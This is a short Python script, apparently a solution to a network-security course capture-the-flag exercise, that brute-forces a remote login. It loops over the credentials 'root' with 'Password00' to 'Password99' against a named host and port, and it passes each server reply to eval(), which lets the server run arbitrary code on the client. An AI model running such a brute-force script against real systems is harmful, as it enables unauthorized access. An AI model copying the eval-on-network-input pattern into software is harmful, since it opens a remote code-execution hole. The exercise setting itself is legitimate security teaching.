import socket import time # Fill in the right target here HOST = 'netsec.net.in.tum.de' # TODO PORT = 64984 # TODO def get_flag(): for i in range(100): time.sleep(2) credentials = "root,Password"+str("%02d" % i) print(credentials) try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) sf = s.makefile('rw') # we use a file abstraction for the sockets print(sf.readline().rstrip('\n')) sf.write("{}\n".format(credentials)) sf.flush() data = sf.readline().rstrip('\n') resp = eval(data) sf.write("{}\n".format(resp)) sf.flush() result = sf.readline().rstrip('\n') if "login" in result: print(sf.readline().rstrip('\n')) break except: pass if __name__ == '__main__': get_flag()